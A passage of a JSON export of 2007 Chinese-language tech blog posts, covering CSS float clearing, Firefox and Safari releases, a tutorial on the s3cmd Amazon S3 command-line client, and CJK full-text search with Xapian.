    "title": "DKIM 成為 Standards Track"
  },
  {
    "id": "1183",
    "body": "這篇是在講 <a href=\"http://www.quirksmode.org/css/clearing.html\" rel=\"tag\">Clearing floats</a>。情況是有有個 #container1，包了 #block1 與 #block2：\r\n<pre>&lt;div id=\"container1\"&gt;\r\n    &lt;div id=\"block1\"&gt;content&lt;/div&gt;\r\n    &lt;div id=\"block2\"&gt;content&lt;/div&gt;\r\n&lt;/div&gt;\r\n&lt;div id=\"container2\"&gt;&lt;/div&gt;</pre>\r\n其中 #block1 與 #block2 都設有浮動 (float) 屬性：\r\n<pre>#block1 { float: left; width: 50%; }\r\n#block2 { float: left; width: 45%; }</pre>\r\n另外 #container2 裡面也許會有其他的浮動屬性，但是你不想將 #container2 裡面的東西跑到 #container1 的右邊，所以對兩個 container 用 clear: both 處理：\r\n<pre>#container1, #container2 { clear: both; }</pre>\r\n現在想要對 #container1 設定 margin-bottom，使之與 #container2 有邊距：\r\n<pre>#container1 { clear: both;\r\n              <strong>margin-bottom: 1em;</strong> }</pre>\r\n但這樣是不會動的，#container1 要加上 overflow 屬性 (參考原文內容)：\r\n<pre>#container1 { clear: both;\r\n              margin-bottom: 1em;\r\n              <strong>overflow: hidden;</strong> }</pre>\r\n不過這樣的話 IE6 還是不會動，所以要再加上：\r\n<pre>#container1 { clear: both;\r\n              margin-bottom: 1em;\r\n              overflow: hidden;\r\n              <strong>width: 100%;</strong> }</pre>\r\n理論上這樣就可以解決這些問題了... (真是麻煩 :/)",
    "title": "Clearing floats"
  },
  {
    "id": "1184",
    "body": "在 <a href=\"http://photomatt.net/\" rel=\"tag\">Matthew Mullenweg</a> 的 Blog 看到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 所使用的 MySQL Database Partition 及 Replication 程式碼 (在 app 層實做)：<a href=\"http://photomatt.net/2007/05/28/announcing-hyperdb/\" rel=\"tag\">Announcing HyperDB</a>。\r\n\r\n程式碼不長，在 <a href=\"http://svn.wp-plugins.org/hyperdb/trunk/\">http://svn.wp-plugins.org/hyperdb/trunk/</a> 可以看到他把許多 function 包成一個 class，另外有剛成立的 <a href=\"http://comox.textdrive.com/mailman/listinfo/hyperdb\" rel=\"tag\">mailing list</a> 可以參與討論。\r\n\r\n不過切 Server Farm 之後要做一些比較特別的 JOIN 就沒辦法做了。另外 Blog 本身也比較單純，可以透過 BlogId 切 Server Farm。",
    "title": "HyperDB"
  },
  {
    "id": "1185",
    "body": "輕小說《<a href=\"http://zh.wikipedia.org/wiki/%E7%8B%BC%E8%88%87%E8%BE%9B%E9%A6%99%E6%96%99\" rel=\"tag\">狼與辛香料</a>》要漫畫化：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/522514258/\"><img src=\"http://farm1.static.flickr.com/207/522514258_864de504bc.jpg\" alt=\"\" /></a>\r\n\r\n輕小說的部份參考 <a href=\"http://blog.gslin.org/archives/2007/05/17/1173/\" rel=\"tag\">狼與辛香料</a> 這篇。",
    "title": "《狼與辛香料》漫畫化"
  },
  {
    "id": "1186",
    "body": "<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Mozilla Firefox</a> 2.0.0.4 出版，修正了幾個安全性問題，其中兩個是比較嚴重的 (crash 與 XSS)：<a href=\"http://www.mozilla.org/projects/security/known-vulnerabilities.html#firefox2.0.0.4\">Known Vulnerabilities in Mozilla Products - Fixed in Firefox 2.0.0.4</a>。\r\n\r\n我自己是用 <a href=\"http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla1.8/\" rel=\"tag\">latest-mozilla1.8</a> 這隻 nightly build (類似 2.0 的 stable branch，目前的版號是 2.0.0.4pre)，每天會自動更新，有些 minor security problem 會先在這個 branch 更新。\r\n\r\nAnyway，還在用 2.0.0.3 的趕快更新吧 :p",
    "title": "Mozilla Firefox 2.0.0.4"
  },
  {
    "id": "1187",
    "body": "把 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 升到新版後 (svn trunk) 發現文章顯示的 Category 爛掉了，看資料庫的內容沒看出原因 (資料都在)，那麼原因應該是 <a href=\"http://blog.ericsk.org/archives/627\" rel=\"tag\">[WP] wp_categories 轉換成 wp_terms</a> 這篇所講的 DB scheme 改變，function 也跟著要改...\r\n\r\n大概要再等一陣子 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 才會弄個 backward compitable function，或是等 <a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 修正吧...\r\n\r\n不過 <a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 還活著嗎... o_O",
    "title": "爛掉的 Category..."
  },
  {
    "id": "1188",
    "body": "netnews.nctu.edu.tw 的硬碟也爆炸了，真麻煩，不知道又是什麼問題...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/529169644/\"><img src=\"http://farm2.static.flickr.com/1119/529169644_d9ce11c023.jpg\" alt=\"\" /></a>",
    "title": "繼續爆炸..."
  },
  {
    "id": "1189",
    "body": "很多人都傳言是因為 <a href=\"http://zh.wikipedia.org/wiki/%E7%99%BD%E7%9F%B3%E6%B6%BC%E5%AD%90\" rel=\"tag\">白石涼子</a> 聲帶開刀而特別製作的一話 (這話幾乎沒有ハヤテ的配音)，結果 <a href=\"http://zh.wikipedia.org/wiki/%E7%95%91%E5%81%A5%E4%BA%8C%E9%83%8E\" rel=\"tag\">畑健二郎</a> (《<a href=\"http://zh.wikipedia.org/wiki/%E6%97%8B%E9%A2%A8%E7%AE%A1%E5%AE%B6\" rel=\"tag\">旋風管家</a>》漫畫的原作者) 也跳下來玩一句，還找來 <a href=\"http://zh.wikipedia.org/wiki/%E5%BE%8C%E8%97%A4%E9%82%91%E5%AD%90\" rel=\"tag\">後藤邑子</a> (於是又多了不少橋段...) XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/529462243/\"><img src=\"http://farm2.static.flickr.com/1082/529462243_a00b7680ec.jpg\" alt=\"\" /></a>",
    "title": "《ハヤテのごとく！》第十話"
  },
  {
    "id": "1190",
    "body": "<a href=\"http://googleonlinesecurity.blogspot.com/\" rel=\"tag\">Google Online Security Blog</a> 這篇 <a href=\"http://googleonlinesecurity.blogspot.com/2007/06/web-server-software-and-malware.html\">Web Server Software and Malware</a> 的一些資訊還蠻有趣的：\r\n<ul>\r\n\t<li>不同於 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 的統計資料，在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的統計裡，<a href=\"http://nginx.net/\" rel=\"tag\">nginx</a> 佔了非常重的 4%，而 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> IIS 的統計數字也比較低。</li>\r\n\t<li>另外一項重點是，雖然 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 與 IIS 的佔有率差這麼多，但網頁被值入木馬之類的數量幾乎一樣，都是 49%。隨便亂猜也可以生出好幾個原因 (只是不知道哪個才是重點)。</li>\r\n\t<li>再來是同時對「國家」與「Web Server」同時排，圖畫出來就有兩個地方很搶眼... 對岸與南韓的 IIS 幾乎都沒什麼人管？XD</li>\r\n</ul>",
    "title": "網站木馬統計資料"
  },
  {
    "id": "1191",
    "body": "netnews.nctu.edu.tw 的硬碟爛掉時我備份了一些資料 (像是 ssh key 與 GPG key 之類的)，然後請學弟換硬碟上去重裝，沒想到其中一顆硬碟 (da1) 又爆炸了一次，只好再請學弟再換一顆上去... (oops)\r\n\r\n機器目前看起來是還不錯，不過因為 <a href=\"http://www.isc.org/sw/inn/\" rel=\"tag\">INN</a> 的 active 檔沒有備份到，只好調高 low number 與 high number 解決。結果發現 itoc 版 innbbsd 直接用一個 for-loop ARTICLE 掃 (M3 當初的版本是有先用 XOVER 做，再用 ARTICLE)，造成 netnews 上面有四十幾隻 nnrpd 在爆走...\r\n\r\n來想看看要怎麼處理比較好...",
    "title": "災後重建"
  },
  {
    "id": "1192",
    "body": "<a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 的 <a href=\"http://news.netcraft.com/archives/2007/06/08/june_2007_web_server_survey.html\">June 2007 Web Server Survey</a> 出來後，最讓人感到興趣的是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 把 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 本來用的 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 換成 Google 自己的 Web Server，造成在 Active Site 的部份 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 狂掉了 7%... (多出來的部份在圖表上多了一個 \"Google\")\r\n\r\n其他的變動 (像是 IIS 又提昇了 0.82%) 相較之下就沒什麼感覺... :p",
    "title": "2007 年六月 Web Server 分析"
  },
  {
    "id": "1193",
    "body": "可是早上要去做檢查全部都不能碰 XD\r\n\r\nPS：純粹歲歲念的一篇...",
    "title": "肚子餓 + 口渴..."
  },
  {
    "id": "1194",
    "body": "本來打算等到 <a href=\"http://s3tools.logix.cz/s3cmd\" rel=\"tag\">s3cmd</a> 進 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD Ports</a> 的時候寫的，結果進 Ports 後反而一直忘了寫... 使用 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的人可以到 <a href=\"http://www.freshports.org/net/py-s3cmd/\" rel=\"tag\">net/py-s3cmd</a> 下安裝。\r\n\r\n<a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 的介紹請先看：「<a href=\"http://blog.gslin.org/archives/2006/10/07/779/\" rel=\"tag\">Amazon S3</a>」這篇以及「<a href=\"http://blog.gslin.org/archives/2007/05/02/1162/\" rel=\"tag\">Amazon S3 的降價計畫</a>」這篇，或是直接去官方網頁上看也可以。\r\n\r\n很粗略的說，<a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 是一個付費的網路磁碟機服務，沒有最低消費額度，用多少算多少。\r\n\r\n<a href=\"http://s3tools.logix.cz/s3cmd\" rel=\"tag\">s3cmd</a> 是一個以 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 寫出來的 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> CLI client。\r\n\r\n在申請完 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 帳號後會拿到兩組 key，一組是 access_key，一組是 secret_key，第一次執行 <code>s3cmd</code> 的時候應該會出現錯誤訊息：\r\n<blockquote><pre>ERROR: /home/staff/gslin/.s3cfg: No such file or directory\r\nERROR: Configuration file not available.\r\nERROR: Consider using --configure parameter to create one.</pre></blockquote>\r\n這時候跑 <code>s3cmd --configure</code>，程式會跟你要 access key 與 secret key，輸入完以後記得把 <code>.s3cfg</code> 設定成 600 (rw-------)。\r\n\r\n接下來必須開個 bucket 給自己用，所以就下個 <code>s3cmd mb s3://choose-the-name-you-want</code>，沒問題的話就會出現：\r\n<blockquote><pre>Bucket 'choose-the-name-you-want' created</pre></blockquote>\r\n如果名字被別人用掉的話會出現：\r\n<blockquote><pre>ERROR: Bucket 'test' already exists</pre></blockquote>\r\n然後你可以用 <code>s3cmd put /path/filename.tar.gz s3://bucket-name/filename.tar.gz</code> 丟檔案上去，用 <code>s3cmd del s3://bucket-name/filename.tar.gz</code> 砍掉。\r\n\r\n其他的功能可以到 <a href=\"http://s3tools.logix.cz/s3cmd\" rel=\"tag\">s3cmd</a> 的網站上看，上面有範例可以直接看。或是加上 --help 看一些說明。\r\n\r\n喔對，如果 put 的時候有加上 <code>-P</code> 的參數，那麼檔案就可以公開讓人下載，這時候可以用 <code>http://s3.amazonaws.com/bucket-name/filename.tar.gz</code> 下載，要注意的是這是要收費的喔 :p",
    "title": "s3cmd (Amazon S3 CLI)"
  },
  {
    "id": "1195",
    "body": "Mac 上的 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 移植到 Windows 上了，而且不只是軟體移植而已，裝起來以後我發現我瞬間被 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 漂亮的 antialias 擊沉了...\r\n\r\n不過，<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 說的 Beta 版真的就是 Beta，跟 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 那種不一樣... XD\r\n\r\n目前我在 Windows XP 上測試的情況，碰到 Bookmark 的功能就會 Crash，用酷音輸入法在 Form 裡面輸入文字一次只能輸入一個字... 另外在 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的 Browser 板上，以及學弟都有回報看不到中文的情況。\r\n\r\n<strong>Update</strong>：Bookmark 的問題在文章後面的 comment 有提到解法了。把四個目錄裡的 en.lproj 複製成 zh.lproj 後就正常了。(Thanks! Daniel)\r\n\r\nAnyway，這是 <strong>在 Windows 下</strong> 的 Screenshot：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/541057446/\"><img src=\"http://farm2.static.flickr.com/1058/541057446_4eecbd7b98.jpg\" alt=\"\" /></a>\r\n\r\n要注意的幾點：(大概沒人看 EULA 吧？XD)\r\n<blockquote>3. Consent to Use of Data. You agree that Apple and its subsidiaries may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the Apple Software, and to verify compliance with the terms of this License. Apple may use this information, as long as it is in a form that does not personally identify you, to improve our products or to provide services or technologies to you.</blockquote>\r\n這代表 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 可以蒐集你的資料。\r\n\r\n另外這是測試版本，到下次發行或 12/31 時失效：\r\n<blockquote>4. Term of License. The term of this License shall commence upon your installation or use of the Apple Software and will terminate automatically without notice from Apple upon the next commercial release of the Apple Software, or December 31, 2007, whichever occurs first. Your rights under this License will also terminate automatically without notice from Apple if you fail to comply with any term(s) of this License. Upon the termination of this License, you shall cease all use of the Apple Software and destroy all copies, full or partial, of the Apple Software.</blockquote>",
    "title": "Mac 上的 Safari 移植到 Windows"
  },
  {
    "id": "1196",
    "body": "我說，這會不會太快了點... Windows 版 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 出來還沒滿一天，就已經找到六個安全漏洞了 (四個 DoS bug 及兩個 remote execution)：<a href=\"http://slashdot.org/apple/07/06/12/0120230.shtml\">Apple Safari On Windows Broken On First Day</a>。\r\n\r\n現在看起來似乎是為了趕在 <a href=\"http://developer.apple.com/wwdc/\" rel=\"tag\">WWDC</a> 亮相而釋出的版本...",
    "title": "Windows 版 Safari 六個安全性問題"
  },
  {
    "id": "1197",
    "body": "因為 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 通過 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">ACID2</a> 的關係而特地去裝 Mozilla Firefox 3.0a6，果然如同 code name 一樣是 Minefield... 把系統內的 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Mozilla Firefox</a> 的設定砍掉後重新安裝 (包括 Document and Settings 裡的個人設定與 Program Files 裡的檔案)，連裝都裝不起來... XD\r\n\r\n把 3.0a5 裝起來後，再升級到 3.0a6 後又爛掉 XD 晚點再裝回 2.0.0.5pre 好了...",
    "title": "Mozilla Firefox 3.0a6"
  },
  {
    "id": "1198",
    "body": "在 <a href=\"http://simonwillison.net/\" rel=\"tag\">Simon Willison's Weblog</a> 看到的，原文在 <a href=\"http://rakaz.nl/item/enabling_the_debug_menu_on_safari_for_windows\">Enabling the debug menu on Safari for Windows</a> 這篇。提到如何把 bug 滿天飛的 Safari for Windows 的除錯選單打開。\r\n\r\n如果是 Windows XP，打開 <code>C:\\Documents and Settings\\Your Username\\Application Data\\Apple Computer\\Safari</code> 下的 <code>Preferences.plist</code> (如果是 Vista，則是在 <code>C:\\Users\\Your Name\\AppData\\Roaming\\Apple Computer\\Safari</code> 下面)，這是一個 XML 檔，在接近尾端的地方加上下面兩行：(<code>&lt;/dict&gt;</code> 與 <code>&lt;/plist&gt;</code> 的前面)\r\n<blockquote><pre>&lt;key&gt;IncludeDebugMenu&lt;/key&gt;\r\n&lt;true/&gt;</pre></blockquote>\r\n然後再打開 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a>，就可以看到 Debug 選單出現。\r\n\r\n功能不是很多，最實用的應該是修改 User Agent 的功能，以及 Import Bookmarks 的功能吧？",
    "title": "啟用 Safari (Windows 版) 的除錯選單"
  },
  {
    "id": "1199",
    "body": "<strong>Note</strong>：這只是在 Javascript 裡跑 CSS Selector 的速度。\r\n\r\n剛好看到 <a href=\"http://ajaxian.com/archives/slickspeed-css-selector-testsuite\">SlickSpeed CSS Selector TestSuite</a> 這篇文章，在 Windows 上測了幾個瀏覽器，單位都是 ms (所以數字愈小愈好)，測試的時候都儘量保持不動電腦的情況下跑完：\r\n<table>\r\n<thead>\r\n<tr><th></th><th><small><a href=\"http://www.prototypejs.org/\" rel=\"tag\">prototype</a> 1.5.1</small></th><th><small><a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 1.1.2dev</small></th><th><small><a href=\"http://mootools.net/\" rel=\"tag\">MooTools</a> 1.2dev</th></small><th><small><a href=\"http://extjs.com/\" rel=\"tag\">ext</a> 1.1b1</small></th><th><small><a href=\"http://dean.edwards.name/my/cssQuery/\" rel=\"tag\">cssQuery</a> 2.02</small></th></tr>\r\n</thead>\r\n<tbody>\r\n<tr><th><small><a href=\"http://www.microsoft.com/products/ie/\" rel=\"tag\">IE</a> 6</small></th><td>1600</td><td>3238</td><td>1302</td><td>839</td><td>6511</td></tr>\r\n<tr><th><small><a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0.0.5 pre</small></th><td>176</td><td>4289</td><td>144</td><td>965</td><td>5411</td></tr>\r\n<tr><th><small><a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 9.20</small></th><td>68</td><td>1445</td><td>112</td><td>198</td><td>1122</td></tr>\r\n<tr><th><small><a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 3 beta</small></th><td>120</td><td>733</td><td>140</td><td>152</td><td>931</td></tr>\r\n</tbody>\r\n</table>\r\n呃，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2 的速度... (想裝地雷看看有沒有進步，結果想到早上才失敗過，沒辦法測 XD)\r\n\r\n<strong>Update</strong>：網頁上多了 <a href=\"http://dojotoolkit.org/\" rel=\"tag\">Dojo</a> 的測試項目，速度也還不錯。",
    "title": "各瀏覽器的速度"
  },
  {
    "id": "1201",
    "body": "<a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 3.0.1 Beta 出版了，結果找了半天還是不知道 Changelog 放在哪裡，測了一下，發現跟之前的版本好像沒什麼差啊？中文字的輸入還是爛的、Bookmark 也還是爛的...\r\n\r\n所以到底改了什麼？@_@\r\n\r\n<strong>Update</strong>：找到資訊了，這次是安全性更新：<a href=\"http://security-protocols.com/2007/06/14/safari-beta-301-for-windows-security-update/\">Safari Beta 3.0.1 for Windows Security Update</a>。\r\n\r\n<strong>Update</strong>：再更新一次，這是 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 官方的公告：<a href=\"http://lists.apple.com/archives/Security-announce/2007/Jun/msg00000.html\">APPLE-SA-2007-06-14 Safari Beta 3.0.1 for Windows</a>。",
    "title": "Safari 3.0.1 Beta"
  },
  {
    "id": "1202",
    "body": "這幾天總算是比較接近完成的階段了，在問過 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 之後來寫一篇講一下。\r\n\r\n大約是在年初的時候 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 就想要將 Pixnet Blog 的部份弄 Fulltext Search，剛好那陣子我也在弄類似的東西，survey 一些對 CJK 支援比較好的 Fulltext Search Engine，當時看起來比較好用是 <a href=\"http://qdbm.sourceforge.net/mikio/\" rel=\"tag\">平林幹雄</a> 維護的 <a href=\"http://hyperestraier.sourceforge.net/\" rel=\"tag\">HyperEstraier</a>。(我也寫了  <a href=\"http://blog.gslin.com/2006/12/hyperestraier.html\">HyperEstraier</a> 與  <a href=\"http://blog.gslin.com/2006/12/hyperestraier-qdbm.html\">HyperEstraier 與 qdbm 的一些雜記</a> 兩篇文章)\r\n\r\n不過後來 <a href=\"http://hyperestraier.sourceforge.net/\" rel=\"tag\">HyperEstraier</a> 將近三個月沒更新，加上 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 那陣子在忙公司整合的事情，所以這件事情在收了訂金後就一直擱著... (皇上都不急了，太監就不要在旁邊跳腳...)\r\n\r\n除了 <a href=\"http://hyperestraier.sourceforge.net/\" rel=\"tag\">HyperEstraier</a> 外，我還有訂另外幾個 Fulltext Search Engine 的 mailing list，其中 <a href=\"http://gmane.org/\" rel=\"tag\">Gmane</a> 用的 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 也蠻值得關注的。我從 0.9.x 版的時候就在觀察，當時連 UTF8 support 都沒有，但是 <a href=\"http://gmane.org/\" rel=\"tag\">Gmane</a> 有丟出 3rd party patch。不過我寫信去問 <a href=\"http://gmane.org/\" rel=\"tag\">Gmane</a> 得到的回答是，文章數量很大，但是每天搜尋的人次並不多，平均不到 1 query/sec。(信件在 /var/mail/gslin，隨著硬碟爛掉沒備份到消失了，只能憑映象寫...)\r\n\r\n再加上 <a href=\"http://gmane.org/\" rel=\"tag\">Gmane</a> 以英文為主，當時沒有很仔細繼續去研究，直到後來在 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 的 mailing list 上看到有對岸的人說中文的部份他用的很好，仔細去研究以後發現其實是因為以前想的太複雜，加上對 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 不熟造成的誤解而沒有仔細去研究 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 的細節。\r\n\r\n所以... 以下進入 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 的細節。\r\n\r\n<a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 的每一份文件 (Document) 分成三個部份，<strong>文件主體</strong> (Data)、<strong>值</strong> (Value)、<strong>項目</strong> (Term)。Data 是一組字串，通常就是放文章內容，但是也可以不用放。Value 是 key+value 的集合，key 的部份是數字，而 value 的部份則是一個字串，Value 可以用很多組。(這邊的 \"value\" 並不是遞迴定義，而只是官方取的名字剛好就是 Value)\r\n\r\n不過上面那兩項都是插花用的，重點在 Term。一個 Term 是一個帶有 weight 的字串，會被 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 索引。所以你可以對 Term 下搜尋條件，<a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 會傳回符合的項目。\r\n\r\n對英文來說，假設我要索引 <small>\"A apple a day keeps the doctor away.\"</small> 這個句子，那麼我只要以非英文字的部份切開就可以了，換句話說，最簡單的情況會被切成：<small>['a', 'apple', 'a', 'day', 'keeps', 'the', 'doctor', 'away']</small>，另外內建常用字的詞庫把一些比較沒有意義的詞濾掉，於是 a、the 就會被濾掉變成：<small>['apple', 'day', 'keeps', 'doctor', 'away']</small>，然後再進一步對詞性做處理，於是把 keeps 轉成 keep，最後索引成：<small>['apple', 'day', 'keep', 'doctor', 'away']</small>。\r\n\r\n對中文來說 (以及日文、韓文)，假設我要索引「<small>端午假期16日、20日兩次夜間暫停收費</small>」這個句子，以單字一個一個切開，切成 <small>['端', '午', '假', '期', '16', '日', '20', '日', '兩', '次', '夜', '間', '暫', '停', '收', '費']</small>，或是兩個字兩個字切，切成 <small>['端午', '午假', '假期', '期16', '16日', '20日', '日兩', '兩次', '次夜', '夜間', '間暫', '暫停', '停收', '收費']</small> 似乎都不太好，前者當搜尋條件很少的時候準確度不太高 (像是以「<small>林洋港</small>」為條件搜尋時可能會找到討論海港旁邊樹林的文章)，而後者則會收了不少沒有意義的字，像是 <small>'期16', '日兩', '間暫'</small>，而且像是 <small>'次夜'</small> 其實不是這句的應該有的意思。\r\n\r\n所以對於 CJK 的斷詞演算法來說，能夠切出符合的 Term 才是重點，於是就有很多論文在討論這些方法... 不過很多方法都是建立在詞頻表上面，換句話說，詞頻表的正確性會影響到搜尋的品質，而為了確保詞頻表的正確性，有很多時候必須讓人力去介入，這點我跟 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 都不太喜歡，我們偏好的是即使不去管，也保持一定的水準的方法。\r\n\r\n所以我跟 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 解釋完以後，決定用一字表 + 兩字表硬切產生所有的 Term (也就是上面兩組都取來當 Term)，然後看看效果如何。在跑了二十幾個小時將全站所有文章掃過一次後內部測試 (目前最新文章的 id 是 528xxxx，實際的數字當然比這個少，不過 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 說這是商業機密不能公開 XD)，<a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 對於搜尋出來的品質還蠻滿意的，所以就切到兩個字... (如果 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 不滿意的話我打算再把三個字的切詞加上去 XD)\r\n\r\n然後用 <a href=\"http://www.catalystframework.org/\" rel=\"tag\">Catalyst</a> 兜個 HTTP API 出來讓前端的 Web 用，其實就很棒了 :p (我知道有 xapian-tcpsrv，不過...)\r\n\r\n所以大概就是這樣啦，<a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> Blog 的 Fulltext Search 應該有機會在七月底前看到吧？(因為 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 很墮落，所以我實在不能保證六月底前出的來... XD)",
    "title": "幫 Pixnet 做 Fulltext Search"
  },
  {
    "id": "1203",
    "body": "用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找到的 bug 似乎是講用 Javascript 動態改變 display 時的 bug，不過我遇到的是純 CSS 的 layout 問題...\r\n\r\n<a href=\"http://netnews.nctu.edu.tw/~gslin/tmp/tablecell.html\" rel=\"tag\">這頁</a> 丟到 IE6/Firefox2/Opera9/Safari2/Safari3 測試，發現在 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 2.0.4 (Mac) 及 3.0.1 (Win) 上都會先出現 #id2 再出現 #id1，但是其他的瀏覽器都是先顯示 #id1 再顯示 #id2。\r\n\r\n這是在我的 Windows 上顯示出來的結果，Safari 2.0.4 (Mac) 的結果跟 Safari 3.0.1 (Win) 的結果一樣，再加上我手邊沒有 Mac，就不貼了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/551760985/\"><img src=\"http://farm2.static.flickr.com/1414/551760985_9f59fcb6e7.jpg\" alt=\"\" /></a> <a href=\"http://www.flickr.com/photos/gslin/551760991/\"><img src=\"http://farm2.static.flickr.com/1437/551760991_5d1bec9b75.jpg\" alt=\"\" /></a> <a href=\"http://www.flickr.com/photos/gslin/551760997/\"><img src=\"http://farm2.static.flickr.com/1193/551760997_14d1b3b474.jpg\" alt=\"\" /></a>\r\n\r\n我的問題是，<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 與 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 這兩個都通過 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">ACID2</a> 的 Browser 到底哪個才是正確的？\r\n\r\n<strong>Update</strong>：<a href=\"http://www.quirksmode.org/css/display.html\">The display declaration</a> 上早就提過這個問題了。",
    "title": "Safari 的 display: table-cell"
  },
  {
    "id": "1204",
    "body": "自從 <a href=\"http://www.wretch.cc/\" rel=\"tag\">W</a> 被 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Y! TW</a> 買走後，這類圖片就一定要丟到 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 啊！\r\n\r\n<a href=\"http://beta.zooomr.com/photos/38183@Z01/2432684/\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/2432684_733628511a.jpg\" alt=\"\" /></a>\r\n\r\n然後上傳的時候發現整個頁面的顯示速度比以前快很多，甚至比 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 快，看來以後可以努力丟一些東西上去 :p",
    "title": "Zooomr 的速度有變快..."
  },
  {
    "id": "1206",
    "body": "在 <a href=\"http://torrentfreak.com/http-traffic-overtakes-p2p-courtesy-of-youtube/\">HTTP Traffic Overtakes P2P, Courtesy of YouTube</a> 這篇看到的資訊，不過先注意一點，這是與 P2P 相關的硬體廠商所提供的數據 (<a href=\"http://www.ellacoya.com/\" rel=\"tag\">Ellacoya Networks</a>)，所以數據本身僅供參考。\r\n\r\n依照廠商的說法，從 2002 年開始，Internet 上 P2P 的流量比 HTTP 還多，但在最近一次的監測發現 HTTP 反過來超過 P2P，而且 <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a> 佔了 HTTP 中的 20%，大約是整個 Internet 的 10% 流量。",
    "title": "HTTP 流量與 P2P 流量"
  },
  {
    "id": "1207",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 7.0 開始動作：<a href=\"http://lists.freebsd.org/pipermail/cvs-src/2007-June/080102.html\">Begin code freeze for FreeBSD-7.0 release cycle.</a>。\r\n\r\n剛好看到 <a href=\"http://jeffr-tech.livejournal.com/9560.html\">I have updated my scaling results with L</a> 這篇 (標題斷掉了) 以 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 5.0.33 取得的 benchmark：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/38183@Z01/2461502/\"><img src=\"http://static.zooomr.com/images/2461502_d36d9c8a6d.jpg\" alt=\"\" /></a>\r\n\r\n依照 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的慣例，出 7.0-BETA1 的時候差不多就可以拿一些機器測試看看，而暑假後應該可以見到 7.0-RELEASE。",
